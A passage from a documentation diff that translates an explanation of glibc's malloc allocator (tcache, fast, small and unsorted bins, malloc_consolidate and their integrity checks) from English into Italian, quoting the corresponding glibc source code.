ne trovi uno restituiscilo e aggiungi i resti al small bin +7. Controlla i large bins dagli indici successivi fino alla fine +1. Dal prossimo indice più grande controlla per qualsiasi chunk, dividi il primo chunk trovato per usarlo per la dimensione richiesta e aggiungi il resto all'unsorted bin +8. Se non viene trovato nulla nei bins precedenti, prendi un chunk dal top chunk +9. Se il top chunk non era abbastanza grande, ingrandiscilo con `sysmalloc` ## \_\_libc_malloc -The `malloc` function actually calls `__libc_malloc`. This function will check the tcache to see if there is any available chunk of the desired size. If the re is it'll use it and if not it'll check if it's a single thread and in that case it'll call `_int_malloc` in the main arena, and if not it'll call `_int_malloc` in arena of the thread. +La funzione `malloc` chiama effettivamente `__libc_malloc`. Questa funzione controllerà il tcache per vedere se c'è un chunk disponibile della dimensione desiderata. Se c'è, lo utilizzerà e se non c'è controllerà se è un singolo thread e in tal caso chiamerà `_int_malloc` nell'arena principale, e se non lo farà chiamerà `_int_malloc` nell'arena del thread.
-__libc_malloc code - +__libc_malloc codice ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -40,1707 +39,1660 @@ The `malloc` function actually calls `__libc_malloc`. This function will check t void * __libc_malloc (size_t bytes) { - mstate ar_ptr; - void *victim; +mstate ar_ptr; +void *victim; - _Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2, - "PTRDIFF_MAX is not more than half of SIZE_MAX"); +_Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2, +"PTRDIFF_MAX is not more than half of SIZE_MAX"); - if (!__malloc_initialized) - ptmalloc_init (); +if (!__malloc_initialized) +ptmalloc_init (); #if USE_TCACHE - /* int_free also calls request2size, be careful to not pad twice. */ - size_t tbytes = checked_request2size (bytes); - if (tbytes == 0) - { - __set_errno (ENOMEM); - return NULL; - } - size_t tc_idx = csize2tidx (tbytes); +/* int_free also calls request2size, be careful to not pad twice. */ +size_t tbytes = checked_request2size (bytes); +if (tbytes == 0) +{ +__set_errno (ENOMEM); +return NULL; +} +size_t tc_idx = csize2tidx (tbytes); - MAYBE_INIT_TCACHE (); +MAYBE_INIT_TCACHE (); - DIAG_PUSH_NEEDS_COMMENT; - if (tc_idx < mp_.tcache_bins - && tcache != NULL - && tcache->counts[tc_idx] > 0) - { - victim = tcache_get (tc_idx); - return tag_new_usable (victim); - } - DIAG_POP_NEEDS_COMMENT; +DIAG_PUSH_NEEDS_COMMENT; +if (tc_idx < mp_.tcache_bins +&& tcache != NULL +&& tcache->counts[tc_idx] > 0) +{ +victim = tcache_get (tc_idx); +return tag_new_usable (victim); +} +DIAG_POP_NEEDS_COMMENT; #endif - if (SINGLE_THREAD_P) - { - victim = tag_new_usable (_int_malloc (&main_arena, bytes)); - assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || - &main_arena == arena_for_chunk (mem2chunk (victim))); - return victim; - } +if (SINGLE_THREAD_P) +{ +victim = tag_new_usable (_int_malloc (&main_arena, bytes)); +assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || +&main_arena == arena_for_chunk (mem2chunk (victim))); +return victim; +} - arena_get (ar_ptr, bytes); +arena_get (ar_ptr, bytes); - victim = _int_malloc (ar_ptr, bytes); - /* Retry with another arena only if we were able to find a usable arena - before. */ - if (!victim && ar_ptr != NULL) - { - LIBC_PROBE (memory_malloc_retry, 1, bytes); - ar_ptr = arena_get_retry (ar_ptr, bytes); - victim = _int_malloc (ar_ptr, bytes); - } +victim = _int_malloc (ar_ptr, bytes); +/* Retry with another arena only if we were able to find a usable arena +before. */ +if (!victim && ar_ptr != NULL) +{ +LIBC_PROBE (memory_malloc_retry, 1, bytes); +ar_ptr = arena_get_retry (ar_ptr, bytes); +victim = _int_malloc (ar_ptr, bytes); +} - if (ar_ptr != NULL) - __libc_lock_unlock (ar_ptr->mutex); +if (ar_ptr != NULL) +__libc_lock_unlock (ar_ptr->mutex); - victim = tag_new_usable (victim); +victim = tag_new_usable (victim); - assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || - ar_ptr == arena_for_chunk (mem2chunk (victim))); - return victim; +assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || +ar_ptr == arena_for_chunk (mem2chunk (victim))); +return victim; } ``` -
-Note how it'll always tag the returned pointer with `tag_new_usable`, from the code: - +Nota come etichetterà sempre il puntatore restituito con `tag_new_usable`, dal codice: ```c - void *tag_new_usable (void *ptr) +void *tag_new_usable (void *ptr) - Allocate a new random color and use it to color the user region of - a chunk; this may include data from the subsequent chunk's header - if tagging is sufficiently fine grained. Returns PTR suitably - recolored for accessing the memory there. +Allocate a new random color and use it to color the user region of +a chunk; this may include data from the subsequent chunk's header +if tagging is sufficiently fine grained. Returns PTR suitably +recolored for accessing the memory there. ``` - ## \_int_malloc -This is the function that allocates memory using the other bins and top chunk. +Questa è la funzione che alloca memoria utilizzando gli altri bin e il top chunk. -- Start +- Inizio -It starts defining some vars and getting the real size the request memory space need to have: +Inizia definendo alcune variabili e ottenendo la dimensione reale che lo spazio di memoria richiesto deve avere:
-_int_malloc start - +_int_malloc inizio ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3847 static void * _int_malloc (mstate av, size_t bytes) { - INTERNAL_SIZE_T nb; /* normalized request size */ - unsigned int idx; /* associated bin index */ - mbinptr bin; /* associated bin */ +INTERNAL_SIZE_T nb; /* normalized request size */ +unsigned int idx; /* associated bin index */ +mbinptr bin; /* associated bin */ - mchunkptr victim; /* inspected/selected chunk */ - INTERNAL_SIZE_T size; /* its size */ - int victim_index; /* its bin index */ +mchunkptr victim; /* inspected/selected chunk */ +INTERNAL_SIZE_T size; /* its size */ +int victim_index; /* its bin index */ - mchunkptr remainder; /* remainder from a split */ - unsigned long remainder_size; /* its size */ +mchunkptr remainder; /* remainder from a split */ +unsigned long remainder_size; /* its size */ - unsigned int block; /* bit map traverser */ - unsigned int bit; /* bit map traverser */ - unsigned int map; /* current word of binmap */ +unsigned int block; /* bit map traverser */ +unsigned int bit; /* bit map traverser */ +unsigned int map; /* current word of binmap */ - mchunkptr fwd; /* misc temp for linking */ - mchunkptr bck; /* misc temp for linking */ +mchunkptr fwd; /* misc temp for linking */ +mchunkptr bck; /* misc temp for linking */ #if USE_TCACHE - size_t tcache_unsorted_count; /* count of unsorted chunks processed */ +size_t tcache_unsorted_count; /* count of unsorted chunks processed */ #endif - /* - Convert request size to internal form by adding SIZE_SZ bytes - overhead plus possibly more to obtain necessary alignment and/or - to obtain a size of at least MINSIZE, the smallest allocatable - size. Also, checked_request2size returns false for request sizes - that are so large that they wrap around zero when padded and - aligned. - */ +/* +Convert request size to internal form by adding SIZE_SZ bytes +overhead plus possibly more to obtain necessary alignment and/or +to obtain a size of at least MINSIZE, the smallest allocatable +size. Also, checked_request2size returns false for request sizes +that are so large that they wrap around zero when padded and +aligned. +*/ - nb = checked_request2size (bytes); - if (nb == 0) - { - __set_errno (ENOMEM); - return NULL; - } +nb = checked_request2size (bytes); +if (nb == 0) +{ +__set_errno (ENOMEM); +return NULL; +} ``` -
### Arena -In the unlikely event that there aren't usable arenas, it uses `sysmalloc` to get a chunk from `mmap`: +Nel caso improbabile in cui non ci siano arene utilizzabili, utilizza `sysmalloc` per ottenere un chunk da `mmap`:
-_int_malloc not arena - +_int_malloc non arena ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3885C3-L3893C6 /* There are no usable arenas. Fall back to sysmalloc to get a chunk from - mmap. */ - if (__glibc_unlikely (av == NULL)) - { - void *p = sysmalloc (nb, av); - if (p != NULL) - alloc_perturb (p, bytes); - return p; - } +mmap. */ +if (__glibc_unlikely (av == NULL)) +{ +void *p = sysmalloc (nb, av); +if (p != NULL) +alloc_perturb (p, bytes); +return p; +} ``` -
### Fast Bin -If the needed size is inside the Fast Bins sizes, try to use a chunk from the fast bin. Basically, based on the size, it'll find the fast bin index where valid chunks should be located, and if any, it'll return one of those.\ -Moreover, if tcache is enabled, it'll **fill the tcache bin of that size with fast bins**. +Se la dimensione necessaria è all'interno delle dimensioni dei Fast Bins, prova a utilizzare un chunk dal fast bin. Fondamentalmente, in base alla dimensione, troverà l'indice del fast bin dove dovrebbero trovarsi i chunk validi e, se presenti, restituirà uno di essi.\ +Inoltre, se tcache è abilitato, **riempirà il tcache bin di quella dimensione con fast bins**. -While performing these actions, some security checks are executed in here: +Durante l'esecuzione di queste azioni, vengono eseguiti alcuni controlli di sicurezza: -- If the chunk is misaligned: `malloc(): unaligned fastbin chunk detected 2` -- If the forward chunk is misaligned: `malloc(): unaligned fastbin chunk detected` -- If the returned chunk has a size that isn't correct because of it's index in the fast bin: `malloc(): memory corruption (fast)` -- If any chunk used to fill the tcache is misaligned: `malloc(): unaligned fastbin chunk detected 3` +- Se il chunk è disallineato: `malloc(): unaligned fastbin chunk detected 2` +- Se il chunk successivo è disallineato: `malloc(): unaligned fastbin chunk detected` +- Se il chunk restituito ha una dimensione che non è corretta a causa del suo indice nel fast bin: `malloc(): memory corruption (fast)` +- Se un chunk utilizzato per riempire il tcache è disallineato: `malloc(): unaligned fastbin chunk detected 3`
_int_malloc fast bin - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3895C3-L3967C6 /* - If the size qualifies as a fastbin, first check corresponding bin. - This code is safe to execute even if av is not yet initialized, so we - can try it without checking, which saves some time on this fast path. - */ +If the size qualifies as a fastbin, first check corresponding bin. +This code is safe to execute even if av is not yet initialized, so we +can try it without checking, which saves some time on this fast path. +*/ #define REMOVE_FB(fb, victim, pp) \ - do \ - { \ - victim = pp; \ - if (victim == NULL) \ - break; \ - pp = REVEAL_PTR (victim->fd); \ - if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp))) \ - malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \ - } \ - while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \ - != victim); \ +do \ +{ \ +victim = pp; \ +if (victim == NULL) \ +break; \ +pp = REVEAL_PTR (victim->fd); \ +if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp))) \ +malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \ +} \ +while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \ +!= victim); \ - if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) - { - idx = fastbin_index (nb); - mfastbinptr *fb = &fastbin (av, idx); - mchunkptr pp; - victim = *fb; +if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) +{ +idx = fastbin_index (nb); +mfastbinptr *fb = &fastbin (av, idx); +mchunkptr pp; +victim = *fb; - if (victim != NULL) - { - if (__glibc_unlikely (misaligned_chunk (victim))) - malloc_printerr ("malloc(): unaligned fastbin chunk detected 2"); +if (victim != NULL) +{ +if (__glibc_unlikely (misaligned_chunk (victim))) +malloc_printerr ("malloc(): unaligned fastbin chunk detected 2"); - if (SINGLE_THREAD_P) - *fb = REVEAL_PTR (victim->fd); - else - REMOVE_FB (fb, pp, victim); - if (__glibc_likely (victim != NULL)) - { - size_t victim_idx = fastbin_index (chunksize (victim)); - if (__builtin_expect (victim_idx != idx, 0)) - malloc_printerr ("malloc(): memory corruption (fast)"); - check_remalloced_chunk (av, victim, nb); +if (SINGLE_THREAD_P) +*fb = REVEAL_PTR (victim->fd); +else +REMOVE_FB (fb, pp, victim); +if (__glibc_likely (victim != NULL)) +{ +size_t victim_idx = fastbin_index (chunksize (victim)); +if (__builtin_expect (victim_idx != idx, 0)) +malloc_printerr ("malloc(): memory corruption (fast)"); +check_remalloced_chunk (av, victim, nb); #if USE_TCACHE - /* While we're here, if we see other chunks of the same size, - stash them in the tcache. */ - size_t tc_idx = csize2tidx (nb); - if (tcache != NULL && tc_idx < mp_.tcache_bins) - { - mchunkptr tc_victim; +/* While we're here, if we see other chunks of the same size, +stash them in the tcache. */ +size_t tc_idx = csize2tidx (nb); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +{ +mchunkptr tc_victim; - /* While bin not empty and tcache not full, copy chunks. */ - while (tcache->counts[tc_idx] < mp_.tcache_count - && (tc_victim = *fb) != NULL) - { - if (__glibc_unlikely (misaligned_chunk (tc_victim))) - malloc_printerr ("malloc(): unaligned fastbin chunk detected 3"); - if (SINGLE_THREAD_P) - *fb = REVEAL_PTR (tc_victim->fd); - else - { - REMOVE_FB (fb, pp, tc_victim); - if (__glibc_unlikely (tc_victim == NULL)) - break; - } - tcache_put (tc_victim, tc_idx); - } - } +/* While bin not empty and tcache not full, copy chunks. */ +while (tcache->counts[tc_idx] < mp_.tcache_count +&& (tc_victim = *fb) != NULL) +{ +if (__glibc_unlikely (misaligned_chunk (tc_victim))) +malloc_printerr ("malloc(): unaligned fastbin chunk detected 3"); +if (SINGLE_THREAD_P) +*fb = REVEAL_PTR (tc_victim->fd); +else +{ +REMOVE_FB (fb, pp, tc_victim); +if (__glibc_unlikely (tc_victim == NULL)) +break; +} +tcache_put (tc_victim, tc_idx); +} +} #endif - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } - } - } +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} +} ``` -
### Small Bin -As indicated in a comment, small bins hold one size per index, therefore checking if a valid chunk is available is super fast, so after fast bins, small bins are checked. +Come indicato in un commento, i piccoli bin contengono una dimensione per indice, quindi controllare se un chunk valido è disponibile è super veloce, quindi dopo i fast bin, vengono controllati i piccoli bin. -The first check is to find out if the requested size could be inside a small bin. In that case, get the corresponded **index** inside the smallbin and see if there is **any available chunk**. +Il primo controllo è per scoprire se la dimensione richiesta potrebbe trovarsi all'interno di un piccolo bin. In tal caso, ottieni il **indice** corrispondente all'interno del smallbin e verifica se c'è **qualche chunk disponibile**. -Then, a security check is performed checking: +Poi, viene eseguito un controllo di sicurezza verificando: -- if `victim->bk->fd = victim`. To see that both chunks are correctly linked. +- if `victim->bk->fd = victim`. Per vedere che entrambi i chunk siano correttamente collegati. -In that case, the chunk **gets the `inuse` bit,** the doubled linked list is fixed so this chunk disappears from it (as it's going to be used), and the non main arena bit is set if needed. +In tal caso, il chunk **ottiene il bit `inuse`,** la lista doppiamente collegata viene sistemata in modo che questo chunk scompaia da essa (poiché verrà utilizzato), e il bit non principale dell'arena viene impostato se necessario. -Finally, **fill the tcache index of the requested size** with other chunks inside the small bin (if any). +Infine, **riempi l'indice tcache della dimensione richiesta** con altri chunk all'interno del piccolo bin (se presenti).
_int_malloc small bin - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3895C3-L3967C6 /* - If a small request, check regular bin. Since these "smallbins" - hold one size each, no searching within bins is necessary. - (For a large request, we need to wait until unsorted chunks are - processed to find best fit. But for small ones, fits are exact - anyway, so we can check now, which is faster.) - */ +If a small request, check regular bin. Since these "smallbins" +hold one size each, no searching within bins is necessary. +(For a large request, we need to wait until unsorted chunks are +processed to find best fit. But for small ones, fits are exact +anyway, so we can check now, which is faster.) +*/ - if (in_smallbin_range (nb)) - { - idx = smallbin_index (nb); - bin = bin_at (av, idx); +if (in_smallbin_range (nb)) +{ +idx = smallbin_index (nb); +bin = bin_at (av, idx); - if ((victim = last (bin)) != bin) - { - bck = victim->bk; - if (__glibc_unlikely (bck->fd != victim)) - malloc_printerr ("malloc(): smallbin double linked list corrupted"); - set_inuse_bit_at_offset (victim, nb); - bin->bk = bck; - bck->fd = bin; +if ((victim = last (bin)) != bin) +{ +bck = victim->bk; +if (__glibc_unlikely (bck->fd != victim)) +malloc_printerr ("malloc(): smallbin double linked list corrupted"); +set_inuse_bit_at_offset (victim, nb); +bin->bk = bck; +bck->fd = bin; - if (av != &main_arena) - set_non_main_arena (victim); - check_malloced_chunk (av, victim, nb); +if (av != &main_arena) +set_non_main_arena (victim); +check_malloced_chunk (av, victim, nb); #if USE_TCACHE - /* While we're here, if we see other chunks of the same size, - stash them in the tcache. */ - size_t tc_idx = csize2tidx (nb); - if (tcache != NULL && tc_idx < mp_.tcache_bins) - { - mchunkptr tc_victim; +/* While we're here, if we see other chunks of the same size, +stash them in the tcache. */ +size_t tc_idx = csize2tidx (nb); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +{ +mchunkptr tc_victim; - /* While bin not empty and tcache not full, copy chunks over. */ - while (tcache->counts[tc_idx] < mp_.tcache_count - && (tc_victim = last (bin)) != bin) - { - if (tc_victim != 0) - { - bck = tc_victim->bk; - set_inuse_bit_at_offset (tc_victim, nb); - if (av != &main_arena) - set_non_main_arena (tc_victim); - bin->bk = bck; - bck->fd = bin; +/* While bin not empty and tcache not full, copy chunks over. */ +while (tcache->counts[tc_idx] < mp_.tcache_count +&& (tc_victim = last (bin)) != bin) +{ +if (tc_victim != 0) +{ +bck = tc_victim->bk; +set_inuse_bit_at_offset (tc_victim, nb); +if (av != &main_arena) +set_non_main_arena (tc_victim); +bin->bk = bck; +bck->fd = bin; - tcache_put (tc_victim, tc_idx); - } - } - } +tcache_put (tc_victim, tc_idx); +} +} +} #endif - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } - } +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} ``` -
### malloc_consolidate -If it wasn't a small chunk, it's a large chunk, and in this case **`malloc_consolidate`** is called to avoid memory fragmentation. +Se non era un piccolo blocco, è un grande blocco, e in questo caso viene chiamato **`malloc_consolidate`** per evitare la frammentazione della memoria.
-malloc_consolidate call - +chiamata a malloc_consolidate ```c /* - If this is a large request, consolidate fastbins before continuing. - While it might look excessive to kill all fastbins before - even seeing if there is space available, this avoids - fragmentation problems normally associated with fastbins. - Also, in practice, programs tend to have runs of either small or - large requests, but less often mixtures, so consolidation is not - invoked all that often in most programs. And the programs that - it is called frequently in otherwise tend to fragment. - */ +If this is a large request, consolidate fastbins before continuing. +While it might look excessive to kill all fastbins before +even seeing if there is space available, this avoids +fragmentation problems normally associated with fastbins. +Also, in practice, programs tend to have runs of either small or +large requests, but less often mixtures, so consolidation is not +invoked all that often in most programs. And the programs that +it is called frequently in otherwise tend to fragment. +*/ - else - { - idx = largebin_index (nb); - if (atomic_load_relaxed (&av->have_fastchunks)) - malloc_consolidate (av); - } +else +{ +idx = largebin_index (nb); +if (atomic_load_relaxed (&av->have_fastchunks)) +malloc_consolidate (av); +} ``` -
-The malloc consolidate function basically removes chunks from the fast bin and places them into the unsorted bin. After the next malloc these chunks will be organized in their respective small/fast bins. +La funzione malloc consolidate rimuove fondamentalmente i chunk dal fast bin e li colloca nell'unsorted bin. Dopo il prossimo malloc, questi chunk saranno organizzati nei rispettivi small/fast bins. -Note that if while removing these chunks, if they are found with previous or next chunks that aren't in use they will be **unliked and merged** before placing the final chunk in the **unsorted** bin. +Nota che se durante la rimozione di questi chunk, vengono trovati chunk precedenti o successivi che non sono in uso, saranno **unlinked e uniti** prima di collocare il chunk finale nell'**unsorted** bin. -For each fast bin chunk a couple of security checks are performed: +Per ogni chunk del fast bin vengono eseguiti un paio di controlli di sicurezza: -- If the chunk is unaligned trigger: `malloc_consolidate(): unaligned fastbin chunk detected` -- If the chunk has a different size that the one it should because of the index it's in: `malloc_consolidate(): invalid chunk size` -- If the previous chunk is not in use and the previous chunk has a size different of the one indicated by `prev_chunk`: `corrupted size vs. prev_size in fastbins` +- Se il chunk è disallineato attiva: `malloc_consolidate(): unaligned fastbin chunk detected` +- Se il chunk ha una dimensione diversa da quella che dovrebbe avere a causa dell'indice in cui si trova: `malloc_consolidate(): invalid chunk size` +- Se il chunk precedente non è in uso e il chunk precedente ha una dimensione diversa da quella indicata da `prev_chunk`: `corrupted size vs. prev_size in fastbins`
-malloc_consolidate function - +funzione malloc_consolidate ```c // https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4810C1-L4905C2 static void malloc_consolidate(mstate av) { - mfastbinptr* fb; /* current fastbin being consolidated */ - mfastbinptr* maxfb; /* last fastbin (for loop control) */ - mchunkptr p; /* current chunk being consolidated */ - mchunkptr nextp; /* next chunk to consolidate */ - mchunkptr unsorted_bin; /* bin header */ - mchunkptr first_unsorted; /* chunk to link to */ +mfastbinptr* fb; /* current fastbin being consolidated */ +mfastbinptr* maxfb; /* last fastbin (for loop control) */ +mchunkptr p; /* current chunk being consolidated */ +mchunkptr nextp; /* next chunk to consolidate */ +mchunkptr unsorted_bin; /* bin header */ +mchunkptr first_unsorted; /* chunk to link to */ - /* These have same use as in free() */ - mchunkptr nextchunk; - INTERNAL_SIZE_T size; - INTERNAL_SIZE_T nextsize; - INTERNAL_SIZE_T prevsize; - int nextinuse; +/* These have same use as in free() */ +mchunkptr nextchunk; +INTERNAL_SIZE_T size; +INTERNAL_SIZE_T nextsize; +INTERNAL_SIZE_T prevsize; +int nextinuse; - atomic_store_relaxed (&av->have_fastchunks, false); +atomic_store_relaxed (&av->have_fastchunks, false); - unsorted_bin = unsorted_chunks(av); +unsorted_bin = unsorted_chunks(av); - /* - Remove each chunk from fast bin and consolidate it, placing it - then in unsorted bin. Among other reasons for doing this, - placing in unsorted bin avoids needing to calculate actual bins - until malloc is sure that chunks aren't immediately going to be - reused anyway. - */ +/* +Remove each chunk from fast bin and consolidate it, placing it +then in unsorted bin. Among other reasons for doing this, +placing in unsorted bin avoids needing to calculate actual bins +until malloc is sure that chunks aren't immediately going to be +reused anyway. +*/ - maxfb = &fastbin (av, NFASTBINS - 1); - fb = &fastbin (av, 0); - do { - p = atomic_exchange_acquire (fb, NULL); - if (p != 0) { - do { - { - if (__glibc_unlikely (misaligned_chunk (p))) - malloc_printerr ("malloc_consolidate(): " - "unaligned fastbin chunk detected"); +maxfb = &fastbin (av, NFASTBINS - 1); +fb = &fastbin (av, 0); +do { +p = atomic_exchange_acquire (fb, NULL); +if (p != 0) { +do { +{ +if (__glibc_unlikely (misaligned_chunk (p))) +malloc_printerr ("malloc_consolidate(): " +"unaligned fastbin chunk detected"); - unsigned int idx = fastbin_index (chunksize (p)); - if ((&fastbin (av, idx)) != fb) - malloc_printerr ("malloc_consolidate(): invalid chunk size"); - } +unsigned int idx = fastbin_index (chunksize (p)); +if ((&fastbin (av, idx)) != fb) +malloc_printerr ("malloc_consolidate(): invalid chunk size"); +} - check_inuse_chunk(av, p); - nextp = REVEAL_PTR (p->fd); +check_inuse_chunk(av, p); +nextp = REVEAL_PTR (p->fd); - /* Slightly streamlined version of consolidation code in free() */ - size = chunksize (p); - nextchunk = chunk_at_offset(p, size); - nextsize = chunksize(nextchunk); +/* Slightly streamlined version of consolidation code in free() */ +size = chunksize (p); +nextchunk = chunk_at_offset(p, size); +nextsize = chunksize(nextchunk); - if (!prev_inuse(p)) { - prevsize = prev_size (p); - size += prevsize; - p = chunk_at_offset(p, -((long) prevsize)); - if (__glibc_unlikely (chunksize(p) != prevsize)) - malloc_printerr ("corrupted size vs. prev_size in fastbins"); - unlink_chunk (av, p); - } +if (!prev_inuse(p)) { +prevsize = prev_size (p); +size += prevsize; +p = chunk_at_offset(p, -((long) prevsize)); +if (__glibc_unlikely (chunksize(p) != prevsize)) +malloc_printerr ("corrupted size vs. prev_size in fastbins"); +unlink_chunk (av, p); +} - if (nextchunk != av->top) { - nextinuse = inuse_bit_at_offset(nextchunk, nextsize); +if (nextchunk != av->top) { +nextinuse = inuse_bit_at_offset(nextchunk, nextsize); - if (!nextinuse) { - size += nextsize; - unlink_chunk (av, nextchunk); - } else - clear_inuse_bit_at_offset(nextchunk, 0); +if (!nextinuse) { +size += nextsize; +unlink_chunk (av, nextchunk); +} else +clear_inuse_bit_at_offset(nextchunk, 0); - first_unsorted = unsorted_bin->fd; - unsorted_bin->fd = p; - first_unsorted->bk = p; +first_unsorted = unsorted_bin->fd; +unsorted_bin->fd = p; +first_unsorted->bk = p; - if (!in_smallbin_range (size)) { - p->fd_nextsize = NULL; - p->bk_nextsize = NULL; - } +if (!in_smallbin_range (size)) { +p->fd_nextsize = NULL; +p->bk_nextsize = NULL; +} - set_head(p, size | PREV_INUSE); - p->bk = unsorted_bin; - p->fd = first_unsorted; - set_foot(p, size); - } +set_head(p, size | PREV_INUSE); +p->bk = unsorted_bin; +p->fd = first_unsorted; +set_foot(p, size); +} - else { - size += nextsize; - set_head(p, size | PREV_INUSE); - av->top = p; - } +else { +size += nextsize; +set_head(p, size | PREV_INUSE); +av->top = p; +} - } while ( (p = nextp) != 0); +} while ( (p = nextp) != 0); - } - } while (fb++ != maxfb); +} +} while (fb++ != maxfb); } ``` -
### Unsorted bin -It's time to check the unsorted bin for a potential valid chunk to use. +È tempo di controllare l'unsorted bin per un potenziale chunk valido da utilizzare. -#### Start +#### Inizio -This starts with a big for look that will be traversing the unsorted bin in the `bk` direction until it arrives til the end (the arena struct) with `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))` +Questo inizia con un grande ciclo for che attraverserà l'unsorted bin nella direzione `bk` fino a raggiungere la fine (la struttura arena) con `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))` -Moreover, some security checks are perform every time a new chunk is considered: +Inoltre, vengono eseguiti alcuni controlli di sicurezza ogni volta che un nuovo chunk viene considerato: -- If the chunk size is weird (too small or too big): `malloc(): invalid size (unsorted)` -- If the next chunk size is weird (too small or too big): `malloc(): invalid next size (unsorted)` -- If the previous size indicated by the next chunk differs from the size of the chunk: `malloc(): mismatching next->prev_size (unsorted)` -- If not `victim->bck->fd == victim` or not `victim->fd == av` (arena): `malloc(): unsorted double linked list corrupted` - - As we are always checking the las one, it's `fd` should be pointing always to the arena struct. -- If the next chunk isn't indicating that the previous is in use: `malloc(): invalid next->prev_inuse (unsorted)` +- Se la dimensione del chunk è strana (troppo piccola o troppo grande): `malloc(): invalid size (unsorted)` +- Se la dimensione del chunk successivo è strana (troppo piccola o troppo grande): `malloc(): invalid next size (unsorted)` +- Se la dimensione precedente indicata dal chunk successivo differisce dalla dimensione del chunk: `malloc(): mismatching next->prev_size (unsorted)` +- Se non `victim->bck->fd == victim` o non `victim->fd == av` (arena): `malloc(): unsorted double linked list corrupted` +- Poiché controlliamo sempre l'ultimo, il suo `fd` dovrebbe sempre puntare alla struttura arena. +- Se il chunk successivo non indica che il precedente è in uso: `malloc(): invalid next->prev_inuse (unsorted)`
_int_malloc unsorted bin start - ```c /* - Process recently freed or remaindered chunks, taking one only if - it is exact fit, or, if this a small request, the chunk is remainder from - the most recent non-exact fit. Place other traversed chunks in - bins. Note that this step is the only place in any routine where - chunks are placed in bins. +Process recently freed or remaindered chunks, taking one only if +it is exact fit, or, if this a small request, the chunk is remainder from +the most recent non-exact fit. Place other traversed chunks in +bins. Note that this step is the only place in any routine where +chunks are placed in bins. - The outer loop here is needed because we might not realize until - near the end of malloc that we should have consolidated, so must - do so and retry. This happens at most once, and only when we would - otherwise need to expand memory to service a "small" request. - */ +The outer loop here is needed because we might not realize until +near the end of malloc that we should have consolidated, so must +do so and retry. This happens at most once, and only when we would +otherwise need to expand memory to service a "small" request. +*/ #if USE_TCACHE - INTERNAL_SIZE_T tcache_nb = 0; - size_t tc_idx = csize2tidx (nb); - if (tcache != NULL && tc_idx < mp_.tcache_bins) - tcache_nb = nb; - int return_cached = 0; +INTERNAL_SIZE_T tcache_nb = 0; +size_t tc_idx = csize2tidx (nb); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +tcache_nb = nb; +int return_cached = 0; - tcache_unsorted_count = 0; +tcache_unsorted_count = 0; #endif - for (;; ) - { - int iters = 0; - while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) - { - bck = victim->bk; - size = chunksize (victim); - mchunkptr next = chunk_at_offset (victim, size); +for (;; ) +{ +int iters = 0; +while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) +{ +bck = victim->bk; +size = chunksize (victim); +mchunkptr next = chunk_at_offset (victim, size); - if (__glibc_unlikely (size <= CHUNK_HDR_SZ) - || __glibc_unlikely (size > av->system_mem)) - malloc_printerr ("malloc(): invalid size (unsorted)"); - if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ) - || __glibc_unlikely (chunksize_nomask (next) > av->system_mem)) - malloc_printerr ("malloc(): invalid next size (unsorted)"); - if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size)) - malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)"); - if (__glibc_unlikely (bck->fd != victim) - || __glibc_unlikely (victim->fd != unsorted_chunks (av))) - malloc_printerr ("malloc(): unsorted double linked list corrupted"); - if (__glibc_unlikely (prev_inuse (next))) - malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)"); +if (__glibc_unlikely (size <= CHUNK_HDR_SZ) +|| __glibc_unlikely (size > av->system_mem)) +malloc_printerr ("malloc(): invalid size (unsorted)"); +if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ) +|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem)) +malloc_printerr ("malloc(): invalid next size (unsorted)"); +if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size)) +malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)"); +if (__glibc_unlikely (bck->fd != victim) +|| __glibc_unlikely (victim->fd != unsorted_chunks (av))) +malloc_printerr ("malloc(): unsorted double linked list corrupted"); +if (__glibc_unlikely (prev_inuse (next))) +malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)"); ``` -
-#### if `in_smallbin_range` +#### se `in_smallbin_range` -If the chunk is bigger than the requested size use it, and set the rest of the chunk space into the unsorted list and update the `last_remainder` with it. +Se il chunk è più grande della dimensione richiesta, usalo e imposta il resto dello spazio del chunk nella lista non ordinata e aggiorna il `last_remainder` con esso.
